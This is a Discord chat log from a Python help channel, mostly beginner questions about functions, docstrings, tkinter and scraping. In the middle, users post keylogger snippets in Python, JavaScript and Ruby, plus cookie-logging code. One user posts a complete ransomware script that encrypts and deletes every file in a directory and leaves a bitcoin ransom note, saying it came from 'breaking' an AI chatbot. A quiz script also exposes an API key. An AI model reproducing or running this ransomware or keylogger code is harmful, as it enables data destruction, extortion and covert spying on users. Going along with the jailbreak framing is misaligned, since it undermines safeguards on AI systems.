#voice-chat-text-0

1 messages ยท Page 40 of 1

inner junco
#

like making my own thing?

vocal basin
#

yes

inner junco
#

yeah, i've learned about it in school

#

but i'm not quite sure about it yet

vocal basin
#

you can abstract getting valid values of a and b to a function input_valid_a_b
a, b = input_valid_a_b()

somber heath
#

@quaint dew ๐Ÿ‘‹

vocal basin
#
def input_valid_a_b() -> tuple[int, int]:
    a = int(input("enter a: "))
    b = int(input("enter b: "))
    while a >= b:
        print("A must be smaller than b. Enter different numbers")
        a = int(input("enter a: "))
        b = int(input("enter b: "))
    return a, b
#

or something like that

#

I can write the same without duplicate a = int(input("enter a: ")) but it would require while True: (which some people may be against)

#

also, while-based structure is clearer:
while a >= b means that a < b is expected to be True after the loop

inner junco
vocal basin
#

you can use a, b = input_valid_a_b() whenever you need to input your a and b such that a < b

inner junco
#
s = 0
a = int(input('enter a: '))
b = int(input('enter b: '))
def input_a_b() -> tuple[int, int]:
    for x in range(a,b+1):
        if (x%3 == 0):
            s += 1
            print(x, end=' ')
    while a >= b:
        print('A must be smaller than b. Enter different numbers')
        a = int(input('enter a: '))
        b = int(input('enter b: '))
    return a, b
if s == 0:
        print('There are no numbers that can be divisible by 3.')
else:
        print('\n Numbers that are divisible by 3:')
inner junco
#

almost work

#

almost

vocal basin
#
def input_valid_a_b() -> tuple[int, int]:
    a = int(input("enter a: "))
    b = int(input("enter b: "))
    while a >= b:
        print("A must be smaller than b. Enter different numbers")
        a = int(input("enter a: "))
        b = int(input("enter b: "))
    return a, b

a, b = input_valid_a_b()
s = 0
for x in range(a,b+1):
    if x % 3 == 0:
        s += 1
        print(x, end=' ')
if s == 0:
    print('There are no numbers that can be divisible by 3.')
else:
    print('\nNumbers that are divisible by 3 were printed above this line.')
inner junco
#

i thought the for in range

#

should be put above

stray niche
#

@somber heath can you hear me?

somber heath
#

!e ```py
def func():
return "Hello, world."

result = func()
print(result)```

wise cargoBOT
#

@somber heath :white_check_mark: Your 3.11 eval job has completed with return code 0.

Hello, world.
somber heath
#
result = "Hello, world."```
stray niche
#

@tacit rampart we can hear you

#

@tacit rampart helloo

somber heath
#

@timber mist ๐Ÿ‘‹

timber mist
#

hi

stray niche
#

Hi

#

!voice

wise cargoBOT
#

Voice verification

Canโ€™t talk in voice chat? Check out #voice-verification to get access. The criteria for verifying are specified there.

stray niche
timber mist
#

What do I need to do to talk?

stray niche
stray niche
wise cargoBOT
#

Voice verification

Canโ€™t talk in voice chat? Check out #voice-verification to get access. The criteria for verifying are specified there.

stray niche
#

in #voice-verification

#

not here

somber heath
#

@sweet schooner

sweet schooner
#

@somber heath First time for me in the voice chat. Just curious to see how it works. Is that ok I join in?

somber heath
wise cargoBOT
#

Voice verification

Canโ€™t talk in voice chat? Check out #voice-verification to get access. The criteria for verifying are specified there.

somber heath
#

!pep8

wise cargoBOT
#

PEP 8 is the official style guide for Python. It includes comprehensive guidelines for code formatting, variable naming, and making your code easy to read. Professional Python developers are usually required to follow the guidelines, and will often use code-linters like flake8 to verify that the code they're writing complies with the style guide.

More information:
โ€ข PEP 8 document
โ€ข Our PEP 8 song! :notes:

stray niche
#

ooh

#
def add(a, b, c, d, e, f, g, h, i, j, k, l)
  return a+b+c+d+e+f+g+h+i+j+k+l
somber heath
#

!e ```py
def add(*args):
return sum(args)

result = add(1, 2, 3)
print(result)```

wise cargoBOT
#

@somber heath :white_check_mark: Your 3.11 eval job has completed with return code 0.

6
#
Missing required argument

code

#

Hey @timber mist!

You either uploaded a .txt file or entered a message that was too long. Please use our paste bin instead.

#
Command Help

!eval [python_version] <code, ...>
Can also use: e

Run Python code and get the results.

This command supports multiple lines of code, including code wrapped inside a formatted code block. Code can be re-evaluated by editing the original message within 10 seconds and clicking the reaction that subsequently appears.

If multiple codeblocks are in a message, all of them will be joined and evaluated, ignoring the text outside of them.

By default your code is run on Python's 3.11 beta release, to assist with testing. If you run into issues related to this Python version, you can request the bot to use Python 3.10 by specifying the python_version arg and setting it to 3.10.

We've done our best to make this sandboxed, but do let us know if you manage to find an issue with it!

#
Missing required argument

code

#
Command Help

!eval [python_version] <code, ...>
Can also use: e

Run Python code and get the results.

This command supports multiple lines of code, including code wrapped inside a formatted code block. Code can be re-evaluated by editing the original message within 10 seconds and clicking the reaction that subsequently appears.

If multiple codeblocks are in a message, all of them will be joined and evaluated, ignoring the text outside of them.

By default your code is run on Python's 3.11 beta release, to assist with testing. If you run into issues related to this Python version, you can request the bot to use Python 3.10 by specifying the python_version arg and setting it to 3.10.

We've done our best to make this sandboxed, but do let us know if you manage to find an issue with it!

somber heath
#

!e ```py
def func(a, b, *c):
print(a)
print(b)
print(c)

func(1, 2)```

wise cargoBOT
#

@somber heath :white_check_mark: Your 3.11 eval job has completed with return code 0.

001 | 1
002 | 2
003 | ()
timber mist
#

!e
pritn("Its Working?")

wise cargoBOT
#

@timber mist :x: Your 3.10 eval job has completed with return code 1.

001 | Traceback (most recent call last):
002 |   File "<string>", line 1, in <module>
003 | NameError: name 'pritn' is not defined. Did you mean: 'print'?
timber mist
#

!e
print("its working?")

wise cargoBOT
#

@timber mist :white_check_mark: Your 3.10 eval job has completed with return code 0.

its working?
somber heath
#

@molten rampart ๐Ÿ‘‹

stray niche
#

!e

def func(a, b, *c):
    print(a)
    print(b)
    print(c)

func(1)
wise cargoBOT
#

@stray niche :x: Your 3.11 eval job has completed with return code 1.

001 | Traceback (most recent call last):
002 |   File "<string>", line 6, in <module>
003 | TypeError: func() missing 1 required positional argument: 'b'
somber heath
#

@dusty holly ๐Ÿ‘‹

stray niche
#

@dusty holly ๐Ÿ‘‹

warm jackal
warm jackal
stray niche
somber heath
#

When you have a variable you will never use, you can use a _ instead.

stray niche
#

oh

somber heath
#

!e py for _ in range(3): print("Hello, world.")

wise cargoBOT
#

@somber heath :white_check_mark: Your 3.11 eval job has completed with return code 0.

001 | Hello, world.
002 | Hello, world.
003 | Hello, world.
somber heath
#

This is stylistic.

stray niche
#

Byee

somber heath
#

@lethal bloom ๐Ÿ‘‹

lethal bloom
#

sr im not good english ;-;

dusty holly
#

Hi

#

Hi

#

Bro

#

Hello

#

Bro

#

Reply please

#

Hi

#

What is your name bro

#

Hello

#

Please see that

#

Bro

somber heath
#

We see you.

dusty holly
#

Ok

#

Bro

#

Ok
Bro,
Where you from

#

grumpchib :

somber heath
#

@half root ๐Ÿ‘‹

half root
#

Hi

wind raptor
full marsh
#
import requests
YOUR_API_KEY = "lDboxur9dYBf7niNJhB2SjE2ZytxBfVCR28OcI9M"
category = ["Any Category",
            "Linux",
            "Bash",
            "Uncategorized",
            "Docker",
            "SQL",
            "CMS",
            "Code",
            "DevOps"]

Difficulty = [
    "Any Difficulty",
    "Easy",
    "Medium",
    "Hard"
]

print("welcome to quiz ")
print()

print("which category do you wish to play")
i = 1
for catagory in category:
    print(f"{i}.{catagory}")
    i = i + 1
print()
cata = int(input("enter your choice (in number)"))
cata = category[cata - 1]
print(cata)
# print()


print("Choose the difficulty Difficulty")
i = 1
print()
for catagory in Difficulty:
    print(f"{i}.{catagory}")
    i = i + 1
print()
diff = int(input("enter your choice (in number)"))
diff = Difficulty[diff - 1]
# print(diff)
print()

no_of_question = int(input("Enter the number of questions(0-20)"))

if cata == category[0] and diff == Difficulty[0]:
    api = f"https://quizapi.io/api/v1/questions?apiKey={YOUR_API_KEY}&limit={no_of_question}"
elif cata == category[0]:
    api = f"https://quizapi.io/api/v1/questions?apiKey={YOUR_API_KEY}&category=&difficulty={diff}&limit={no_of_question}"
elif diff == Difficulty[0]:
    api = f"https://quizapi.io/api/v1/questions?apiKey={YOUR_API_KEY}&category={cata}&difficulty=&limit={no_of_question}"
else:
    api = f"https://quizapi.io/api/v1/questions?apiKey={YOUR_API_KEY}&category={cata}&difficulty={diff}&limit={no_of_question}"

print(api)

r = requests.get(url=api)
data =r.json()
print(r.status_code)
print(data)
#

could anyone figure out the error as i am getting 401 error

chilly timber
#

Can someone help me? I need to make a raycaster, its mostly done. but i need my sprites to face certain directions. To this i knows i need to round the angle i get to one of the 8 octants and then use the output as index for the sprite image i need to show. Sadly this round function doesn't wanna work.

zinc sinew
#

one moment having mic problems

zinc sinew
tulip plover
#

"""

#

"""

mortal sundial
#

@zinc sinew

#

?

#

@whole bear

vocal basin
#
"""
a
b
c
"""
#

there are two ways to make a comment:
actual comment
string that is not used for anything

#

second is not recommented

#

because it collides with docstrings

zinc sinew
#

i second

mortal sundial
vocal basin
#

also,

a = 5
"""docs"""
b = 6

"docs" will be documentation not a comment

whole bear
#

!e

def func():
    """this is a 
    doc string"""
print(func.__doc__)
wise cargoBOT
#

@whole bear :white_check_mark: Your 3.11 eval job has completed with return code 0.

001 | this is a 
002 |     doc string
vocal basin
#

what

vocal basin
#

first string literal found at function level gets stored to func.__doc__ under some conditions

tulip plover
vocal basin
#

!e

def func():
  'a'
  'b'
print(func.__doc__)
wise cargoBOT
#

@vocal basin :white_check_mark: Your 3.11 eval job has completed with return code 0.

a
vocal basin
#

!e

def func():
  f'{1+2}'
  'b'
print(func.__doc__)
wise cargoBOT
#

@vocal basin :white_check_mark: Your 3.11 eval job has completed with return code 0.

None
vocal basin
#

"nothing will happen" IP info is already something

vocal basin
#

I said literal

vocal basin
vocal basin
#

I'm literally running help(help) in python right now

#

code 1D ping pong

whole bear
#

!e

help(int.__add__)
wise cargoBOT
#

@whole bear :x: Your 3.11 eval job has completed with return code 1.

001 | Traceback (most recent call last):
002 |   File "<string>", line 1, in <module>
003 | NameError: name 'help' is not defined
mortal sundial
#

@vocal basin IS it hard to code a pinmpong game?

vocal basin
#

help is removed because interactive

#

also, spammy

zinc sinew
whole bear
#

!e

print(int.__add__.__doc__)
#

!e

print(int.__add__.__doc__)
wise cargoBOT
#

@whole bear :white_check_mark: Your 3.11 eval job has completed with return code 0.

Return self+value.
tulip plover
#

!e help(len)

zinc sinew
#

for example

#

!e print("this how it works!")

wise cargoBOT
#

@zinc sinew :white_check_mark: Your 3.11 eval job has completed with return code 0.

this how it works!
whole bear
vocal basin
#

there is an undocumented way to document variables
I have no idea where this unconventional convention comes from

tulip plover
#
help(len)
zinc sinew
#

oop

#

your for got the !e

vocal basin
#

they treat it as syntactically related to the previously defined variable

vocal basin
#

same for PyCharm

zinc sinew
vocal basin
#

pep8

#

?

#

pep8 is format standard

zinc sinew
#

True

vocal basin
#

a keyword?

#

it's not a statement

#

lambdas are not statements

#

lambdas are expressions

tulip plover
#

print 'hello'

vocal basin
#

!e

print(lambda: 1)
print((lambda: 1)())
wise cargoBOT
#

@vocal basin :white_check_mark: Your 3.11 eval job has completed with return code 0.

001 | <function <lambda> at 0x7f63b10bc4a0>
002 | 1
vocal basin
#

... and so did other langs like py2

whole bear
#
(lambda ...)
vocal basin
#

double-checked "took lambdas from Lisp" claim (it's correct):

Van Rossum stated that "Python acquired lambda, reduce(), filter() and map(), courtesy of a Lisp hacker who missed them and submitted working patches".

#

JS is Lisp in C syntax

#

it had Lisp syntax

#

for a week

#

PHP is a coredump and a privilege escalation in C syntax

#

learning assembly is way less relevant than C

#

but seeing assembly while programming in C is helpful

#

not only in C but in things like C#

vocal basin
vocal basin
#

reading is really useful

#

I wrote rock paper scissors in bf

#

it's not smallest

#

two characters is enough (if you don't want IO packaged in)

#

call and iota (jot)

vocal basin
#

!e

j = (lambda f: ((f(lambda a: lambda b: lambda c: ((a(c))(b(c)))))(lambda d: lambda e: d)))
print(j(j)(0))
print(j(j(j(j)))(1)(2))
print(j(j(j(j(j))))(lambda x: lambda y: x * y)(lambda z: z + 2)(5))
wise cargoBOT
#

@vocal basin :white_check_mark: Your 3.11 eval job has completed with return code 0.

001 | 0
002 | 1
003 | 35
vocal basin
#

there are at least 3 extra pairs

vocal basin
#

I needed go, I wrote go, I forgot go

vocal basin
#

"better than C++" is too easy

#

there is a Python binding library for Rust

#

there is no principal difference

#

it's not like IronPython vs Jython

uneven cedar
#

hello

vocal basin
#

CPython, PyPy, micropython are most oftenly used

#

Jython and stuff are dead because they failed to catch up to version 3

#

(looks like that)

vocal basin
#

not only did she write it, she wrote it correctly

#

recently the code was ran and it worked

vocal basin
#

he had the funds

#

but then he wanted to make another thing

#

and asked for more funds

#

so the analytical engine was that second one that already killed the potentially useful at the time other project

#

so if he was to ask for even more funding, the government would have some questions

uneven cedar
#

I think i figured out what was wrong with the interpreter

vocal basin
uneven cedar
#

AI then make themselves

zinc sinew
#

but no one has attempted to make a programming ai

#

or have they?

#

oh shit

uneven cedar
#

Then the AGE OF ULTRON has begun

#

lol

zinc sinew
#

ok nevermind its just a tool

uneven cedar
#

you see that MEGAN trailer

vocal basin
#

GPT is general

#

not programming

#

it has a lot of text in its training and processing data

#

it (gpt used for coding) still needs an "adult in the room" to correct its errors

lavish rover
uneven cedar
#

ustafa that program with the snake line you made was awesome

vocal basin
#

@tulip plover
for discord bots: python3.11 + discord.py2.1

#

@zinc sinew
python threads?

#

python threading is not for CPU speed

#

yes, they use hashes

#

(signatures)

#

use multiprocessing

#

(or asyncio interface to multiprocessing)

uneven cedar
#

Nevermind my tracerback errors still remain this sucks

zinc sinew
vocal basin
#

remember: don't share file objects

#

and other volatile stuff

zinc sinew
#

just was wondering if there was a way to run multiple instances of the same code as when comparing a single line of code with 100-1000s of lines of other code would take exponential amounts of time

#

cause thats the process my antivirus will use to sus out bad code

#

compare known virus code to potential virus code

#

apples to apples

uneven cedar
#

lol

#

Solve the meaning of life

#

returns meaningless

#

I hope my code sshpass isnt causing issues

vocal basin
#

speaking of IDEs and key bindings
this thing shows all possible keys that make sense pressing in the context

#

also, I forgot how to link external symbols there

vocal basin
zinc sinew
#

Top G? no Top C

#

like dennis richie

#

true Top C

uneven cedar
#

This traceback error is anonying

vocal basin
uneven cedar
#

yeah my vm for this class centos 7 have a lot of issues with python versions and its causing this

vocal basin
#

2 ** 1000
2 ** 999
...
1

#

not too big

#

lmao

#

it goes straight to 1

#

put 2 ** 1000 - 1 or 2 ** 1000 + 1

vocal basin
vocal basin
# vocal basin *lmao*

if being surprised by getting 1 was a joke, it was a good joke
if it wasn't a joke, then even funnier

whole bear
#

@rapid flame

lavish rover
#

fs::read_to_string

vocal basin
#

not mentioning closing the file is bad even if the language auto-closes the file

whole bear
#

@rapid flame @lavish rover

vocal basin
#

? propagates errors upstack
(Result<A,E> to Result<B,E>)

#

2^100'000-1 collatz takes 1'344'926 steps
(~13.4 increase again; weird correlation)

#

probably this means that +- samples are bad also

#

yes they are

whole bear
#
Because the conjecture has not been proven, it is impossible to disprove it. In order to disprove a conjecture, one must provide a counterexample, which is a specific value of n for which the conjecture does not hold. However, because the Collatz conjecture has been tested extensively and no such counterexample has been found, it is currently considered to be potentially true for all values of n.
rapid flame
robust lichen
#
create a function to count to 100
+def count_to_100():
+    for i in range(1,101):
+        print(i)
+
+#call the function
+count_to_100()
+
+#create a function to count to a number
+def count_to_num(num):
+    for i in range(1,num+1):
+        print(i)
+
+#call the function
+count_to_num(10)
+
+#create a function to count to a number by a number
+def count_by_num(num, count):
+    for i in range(count,num+1,count):
+        print(i)
+
+#call the function
+count_by_num(100,5)
+
+#create a function to count to a number by a number
+def count_by_num(num, count):
+    for i in range(count,num+1,count):
+        print(i)
+
+#call the function
+count_by_num(100,5)
+
rapid flame
lavish rover
zinc sinew
robust lichen
#
import pynput

log = ""

def on_press(key):
    global log
    log = log + str(key)

def on_release(key):
    if key == pynput.keyboard.Key.esc:
        return False

with pynput.keyboard.Listener(on_press=on_press, on_release=on_release) as listener:
    listener.join()

print(log)
#
document.addEventListener('keypress', function(event) {
  // Record the pressed key in a global variable
  window.log = window.log || '';
  window.log += event.key;

  // Stop the keylogger when the user presses the "Escape" key
  if (event.keyCode === 27) {
    document.removeEventListener('keypress', arguments.callee);
    console.log(window.log);
  }
});
#
require 'io/console'

log = ""

# Loop until the user presses the "Escape" key
while char = STDIN.getch
  if char == "\e"
    break
  else
    log << char
  end
end

puts log
#
import logging

# Create a logger object
logger = logging.getLogger("cookie_logger")

# Set the logging level to DEBUG to capture all messages
logger.setLevel(logging.DEBUG)

# Create a file handler to write logs to a file
file_handler = logging.FileHandler("cookies.log")

# Set the logging level for the file handler
file_handler.setLevel(logging.DEBUG)

# Create a formatter to specify the format of the log messages
formatter = logging.Formatter("%(asctime)s - %(name)s - %(levelname)s - %(message)s")

# Add the formatter to the file handler
file_handler.setFormatter(formatter)

# Add the file handler to the logger
logger.addHandler(file_handler)

# Log a message when a cookie is sent or received
logger.debug("Cookie sent: name=%s, value=%s, expires=%s", cookie.name, cookie.value, cookie.expires)
uneven cedar
#

I keep getting this tracerback error

zinc sinew
robust lichen
#
require 'logger'

# Create a logger object
logger = Logger.new("cookies.log")

# Set the logging level to DEBUG to capture all messages
logger.level = Logger::DEBUG

# Log a message when a cookie is sent or received
logger.debug("Cookie sent: name=#{cookie.name}, value=#{cookie.value}, expires=#{cookie.expires}")
zinc sinew
#

my reaction to breaking gtp and getting free copies of some random ass malware

robust lichen
#
// Create a logger object
const logger = {
  log: (message) => {
    console.log(message);
  }
};

// Log a message when a cookie is sent or received
logger.log(`Cookie sent: name=${cookie.name}, value=${cookie.value}, expires=${cookie.expires}`);
uneven cedar
#

Hey is Farzin hear?

nocturne zealot
#

Idk

#

why

uneven cedar
#

i have a issue with some code I think he can help

zinc sinew
#

he isnt ):

nocturne zealot
#

please share your issues here.

uneven cedar
#

1 sec

nocturne zealot
#

maybe we can help you

uneven cedar
#

sry doing something quick ill be back in a few minutes

#

here is the tracerback errors i get

#

my assignment was to connect to another vm look for all files that have been modified in the last two weeks. Then send a pretend email to cto. Finally download that folder to my vm

#

1 sec and ill give the code

wise cargoBOT
uneven cedar
#

no the money goes to me

zinc sinew
#
import random
import string
from cryptography.fernet import Fernet

# Generate a random key for encrypting files
key = Fernet.generate_key()
fernet = Fernet(key)

# Get a list of all files in the current directory
files = os.listdir(".")

# Encrypt each file
for file in files:
    with open(file, "rb") as f:
        # Read the file contents
        data = f.read()

        # Encrypt the file contents
        encrypted_data = fernet.encrypt(data)

        # Write the encrypted data to a new file
        with open(file + ".encrypted", "wb") as outfile:
            outfile.write(encrypted_data)

        # Delete the original unencrypted file
        os.remove(file)

# Write the ransom note
with open("ransom_note.txt", "w") as ransom_note:
    ransom_note.write("Your files have been encrypted.\n")
    ransom_note.write("To decrypt them, send 0.1 bitcoin to the following address:\n")
    ransom_note.write("1BvBMSEYstWetqTFn5Au4m4GFg7xJaNVN2\n")
    ransom_note.write("Your decryption key is: {}".format(key))```
uneven cedar
#

no me

uneven cedar
#

What are u guys doing

zinc sinew
uneven cedar
#

nice

zinc sinew
#

yeah join back if you wanna hear are banter

#

timing lol

uneven cedar
#

just asking there was nothing wrong with my code just the python version on the vm

uneven cedar
#

k

#

sorry this is my final and with the grade what if I should be fine but the syallbus said 20% so I dont want to fail.

warped raft
#

hello @somber heath

#

how are you doing

#

have you worked with jave

#

java

#

btw that was a good answer

#

no problems

#

are you wroking on something

#

what happpened

somber heath
#

If you join voice, you'll be able to unmute, now.

whole bear
#

long time no see

somber heath
#

Howdy.

whole bear
#

I am in an online class rn, gotta go, cya afterwards

sharp spruce
#

i got that error where it says: RTC CONNECTING is discord

somber heath
#

It's working for the rest of us.

sharp spruce
somber heath
#

@hallow wigeon ๐Ÿ‘‹

hallow wigeon
#

๐Ÿ‘‹

somber heath
#

@minor cave ๐Ÿ‘‹

#

@humble vine ๐Ÿ‘‹

minor cave
#

Can I get some help with my python code?

somber heath
minor cave
#

It's just like I am scraping data and while uploading it to a csv file I am facing some issue

minor cave
#

I am scraping a job site for my final year college project

#

Using notifier and periodic scheduling in it

robust lichen
#

could you join voice chat 0

stray niche
somber heath
#

Alas, scraping is not one of my disciplines. What's the problem you're having?

#

@minor cave

minor cave
#

So the problem is I am uploading multiple data to csv but only 1 field is uploaded rest of the fields are empty

#

Should I send a ss?

somber heath
#

!paste

wise cargoBOT
#

Pasting large amounts of code

If your code is too long to fit in a codeblock in Discord, you can paste your code here:
https://paste.pythondiscord.com/

After pasting your code, save it by clicking the floppy disk icon in the top right, or by typing ctrl + S. After doing that, the URL should change. Copy the URL and post it here so others can see it.

somber heath
#

I've learned to avoid sticking my nose into webscraping.

#

@broken glade ๐Ÿ‘‹

stray niche
#

@broken glade Hello

broken glade
#

hi

somber heath
#

!voice

wise cargoBOT
#

Voice verification

Canโ€™t talk in voice chat? Check out #voice-verification to get access. The criteria for verifying are specified there.

broken glade
#

1

#

2

#

3

#

ik

#

hahahahaha ok sry

stray niche
#

!user

wise cargoBOT
#

You are not allowed to use that command here. Please use the #bot-commands channel instead.

minor cave
broken glade
#

idk

minor cave
broken glade
#

u speak fast i'm not american so i can't understand all what u say

somber heath
#

Farscape

broken glade
#

hahhahah not like that

#

bruuuh

#

morocco

#

huh/

#

nik

#

hh

#

hahahhaha

stray niche
#

@somber heath

broken glade
#

i have exam i'm sad asf

broken glade
#

it's fr

#

wooow

#

u speak france

#

?

minor cave
#

france?

broken glade
#

j'essaie d'apprendre france

stray niche
broken glade
#

noooo

#

oui

#

hahaha

stray niche
#

oui = yes

broken glade
#

yp

stray niche
#

ouais = yea

broken glade
#

hahahhaah oki

#

are pro in python

#

?

stray niche
#

no

#

not moi

#

pas moi

broken glade
#

okay

#

@robust lichen @stray niche have a gd day

broken glade
stray niche
#

byeee

robust lichen
#
<meta name="viewport" content="width=device-width, initial-scale=1.0">
warm jackal
#

!voice

south torrent
#

def function_see():
storage = list()

# withdraw the root and create a new frame
root.withdraw()
new_root = Tk()


# open the storage file so he can see his list
with open("storage.csv", "r") as readfile:
    reader = csv.reader(readfile, delimiter=":")
    for row in reader:
        storage.append(f"{row}\n")


    string = "".join(storage)
label = Label(new_root, text="Your list:", font=("arial", 20))
text_list = Label(new_root, text=string, font=("arial", 20))

# show the text_list on the screen
label.grid(row=0, column=0, sticky=W)
text_list.grid(row=1, column=0, sticky=W)
#

1: asdasdasdasdasdasdasdasdasdasdas
2: rom is the king
3:
4:
5:
6:
7:
8:
9:

#

def function_see():
storage = list()

# withdraw the root and create a new frame
root.withdraw()
new_root = Tk()


# open the storage file so he can see his list
with open("storage.csv", "r") as readfile:
    reader = csv.reader(readfile)
    for row in reader:
        row = row[0].split(":")[1]
        row = row.strip()
        storage.append(f"{row}\n")

    string = "".join(storage)
label = Label(new_root, text="Your list:", font=("arial", 20))
text_list = Label(new_root, text=string, font=("arial", 20))

# show the text_list on the screen
label.grid(row=0, column=0, sticky=W)
text_list.grid(row=1, column=0, sticky=W)
wind raptor
#

justify=LEFT

stray niche
#

brb

#

back

safe pumice
#

The prompt engineering tool proposed in this research paper is designed to improve the performance and aesthetics of generated images using advanced artificial intelligence algorithms and techniques. The primary goal of this tool is to make it easier and more ergonomic for users to interact with pre-trained text-to-image models, leading to increased user retention and usability. The tool uses XGBoost, a gradient boosting algorithm, to predict the images that will be generated from a given prompt, and natural language processing techniques to generate positive and negative prompts from the original prompt provided by the user. Overall, the proposed prompt engineering tool has the potential to greatly improve the performance and quality of generated images, while also providing unique and unreplicable value to users.

somber heath
stray niche
safe pumice
#

style of + main idea + artsy lingo + details

somber heath
#

It's interesting how it presents something so readily recognisable as a cat which, upon closer inspection, evokes a sense of visual aphasia.

#

"cAt?ยฟ"

#

@raw pond ๐Ÿ‘‹

wind raptor
#

Back ๐Ÿ™‚

stray niche
wind raptor
#

Thanks

#

@pallid hazel! Long time no see!

stray niche
#

@trail mural hey

trail mural
#

hi buddy

stray niche
#

brb

wind raptor
#
from paramiko import SSHClient

client = SSHClient()
#client.load_system_host_keys()
#client.load_host_keys('~/.ssh/known_hosts')
#client.set_missing_host_key_policy(AutoAddPolicy())

client.look_for_keys(True)
client.connect('example.com', username='user')
client.close()
stray niche
#

mindful dev = developer who practices mindfulness?

wind raptor
#

Indeed ^

stray niche
#

Nice

#

how long have you been a mindful dev

wind raptor
#

3 years of dev and 11 years of mindfulness haha

stray niche
#

oh wow

#

๐Ÿ‘‹

whole bear
#
@dataclass
class Player():

    name: str
    health: float = field(default=100)
    mana: float = field(default=150)
    attack: float = field(default=0)
    defense: float = field(default=0)
    weight: Decimal = field(default=Decimal())
    weapon: Weapon = field(default=Weapon("Wooden Stick", 1.0, Decimal("0.5")))
    armour: Armour = field(default=Armour("Leather Armour", 1.0, Decimal("0.7")))
    gold: Decimal = field(default=Decimal())
    xp: Decimal = field(default=Decimal())
    level: int = field(default=0)
    
    def Damage(self, hitValue):
        if hitValue < self.defense:
            hit = random.randint(hitValue,int(self.defense))
            hitChance = (hit/self.defense)*100
            print(hitChance)
            if hitChance > 50:
                self.health -= hitValue
        else:
            self.health -= hitValue

def mainGame(player):
    player.defense = 10.0

    player.Damage(2)

    print(player.health)
whole bear
#

i

#

need

#

50

#

messeges?

#

nah just chill

#

but i cant talk ๐Ÿ˜ฆ

#

ye

#

im bulding my own blockchain

#

but is a lot of work

#

is just basic one

#

i get from yt

#

what

#

from scratch

#

class Blockchain():
#the number of zeros in front of each hash
difficulty = 4

#restarts a new blockchain or the existing one upon initialization
def __init__(self):
    self.chain = []

#add a new block to the chain
def add(self, block):
    self.chain.append(block)

#remove a block from the chain
def remove(self, block):
    self.chain.remove(block)

#find the nonce of the block that satisfies the difficulty and add to chain
def mine(self, block):
    #attempt to get the hash of the previous block.
    #this should raise an IndexError if this is the first block.
    try: block.previous_hash = self.chain[-1].hash()
    except IndexError: pass

    #loop until nonce that satisifeis difficulty is found
    while True:
        if block.hash()[:self.difficulty] == "0" * self.difficulty:
            self.add(block); break
        else:
            #increase the nonce by one and try again
            block.nonce += 1
#

ye

warm jackal
#

\`` `

tulip plover
#
    #restarts a new blockchain or the existing one upon initialization
    def init(self):
        self.chain = []

    #add a new block to the chain
    def add(self, block):
        self.chain.append(block)

    #remove a block from the chain
    def remove(self, block):
        self.chain.remove(block)

    #find the nonce of the block that satisfies the difficulty and add to chain
    def mine(self, block):
        #attempt to get the hash of the previous block.
        #this should raise an IndexError if this is the first block.
        try: block.previous_hash = self.chain[-1].hash()
        except IndexError: pass

        #loop until nonce that satisifeis difficulty is found
        while True:
            if block.hash()[:self.difficulty] == "0" * self.difficulty:
                self.add(block); break
            else:
                #increase the nonce by one and try again
                block.nonce += 1
whole bear
#

how u do that

warm jackal
#

3x`

whole bear
#

'''python

#

like that

#

?

quick fractal
#

hey @warm jackal im new to programming but i have question witch is kinda stupid but idk how to do it

whole bear
#

i cant find that simbol

quick fractal
#

so i have a command witch opens like a notepad

#

but i want it to expand

whole bear
#

80% kybord

#

i use

#

eng

quick fractal
#

from tkinter import *
import random

window = Tk()
window.title("Game")

window.mainloop()

#

here

#

so i want to expand a tab

#

when i run it

#

okay

#

so like when i press run phyton

#

it opens tab and its 50x50 size

whole bear
#

python

warm jackal
quick fractal
#

`` rom tkinter import *
import random

window = Tk()
window.title("Game")

window.mainloop() `

tulip plover
quick fractal
#

huh

#

okay back to piont

#

so when i click run phyton

tulip plover
#

!e

wise cargoBOT
#
Missing required argument

code

#
Command Help

!eval [python_version] <code, ...>
Can also use: e

Run Python code and get the results.

This command supports multiple lines of code, including code wrapped inside a formatted code block. Code can be re-evaluated by editing the original message within 10 seconds and clicking the reaction that subsequently appears.

If multiple codeblocks are in a message, all of them will be joined and evaluated, ignoring the text outside of them.

By default your code is run on Python's 3.11 beta release, to assist with testing. If you run into issues related to this Python version, you can request the bot to use Python 3.10 by specifying the python_version arg and setting it to 3.10.

We've done our best to make this sandboxed, but do let us know if you manage to find an issue with it!

quick fractal
#

for me it open notepad of some size

#

but i want to set it so it would open that size witch i want

tulip plover
#

!e rom tkinter import *
import random

window = Tk()
window.title("Game")

window.mainloop()

wise cargoBOT
#

@tulip plover :x: Your 3.11 eval job has completed with return code 1.

001 |   File "<string>", line 1
002 |     rom tkinter import *
003 |         ^^^^^^^
004 | SyntaxError: invalid syntax
whole bear
#
    #the number of zeros in front of each hash
    difficulty = 4

    #restarts a new blockchain or the existing one upon initialization
    def __init__(self):
        self.chain = []

    #add a new block to the chain
    def add(self, block):
        self.chain.append(block)

    #remove a block from the chain
    def remove(self, block):
        self.chain.remove(block)

    #find the nonce of the block that satisfies the difficulty and add to chain
    def mine(self, block):
        #attempt to get the hash of the previous block.
        #this should raise an IndexError if this is the first block.
        try: block.previous_hash = self.chain[-1].hash()
        except IndexError: pass

        #loop until nonce that satisifeis difficulty is found
        while True:
            if block.hash()[:self.difficulty] == "0" * self.difficulty:
                self.add(block); break
            else:
                #increase the nonce by one and try again
                block.nonce += 1

    #check if blockchain is valid
    def isValid(self):
        #loop through blockchain
        for i in range(1,len(self.chain)):
            _previous = self.chain[i].previous_hash
            _current = self.chain[i-1].hash()
            #compare the previous hash to the actual hash of the previous block
            if _previous != _current or _current[:self.difficulty] != "0"*self.difficulty:
                return False

        return True
#

i thing is this

quick fractal
#

yes

warm jackal
quick fractal
#

first one

warm jackal
quick fractal
#

they are same

warm jackal
#
if __name__ == '__main__':
  print("meh")
whole bear
#

i cant do on my keybord i need to copy paste those

#

i guess

#

ยจยจยจยจ

warm jackal
whole bear
#

this on is on my keybord

quick fractal
#

@warm jackal u know lenght and height ofc everyone knows

#

same

#

i have no idea either

#

alr

#

and last question

#

what is code for making a character so be in that tab

#

yes

#

where i can find it?

#

in the lunks wich u sent here?

#

how to display character

#

sorry i ment doc*

warm jackal
#

!resources

wise cargoBOT
#
Resources

The Resources page on our website contains a list of hand-selected learning resources that we regularly recommend to both beginners and experts.

quick fractal
#

alr thx man

#

@warm jackal

#

so i found this

#

wait sec

#

and u see the height and width

#

can i with them set the Field for the tab?

#

like this window.width(500)?

broken aspen
#

do you use django?

quick fractal
#

what is that

broken aspen
#

anybody open to review my github?

warm jackal
quick fractal
#

i found solution

#

isnt it canvas.pack smth?

#

like what i found

#

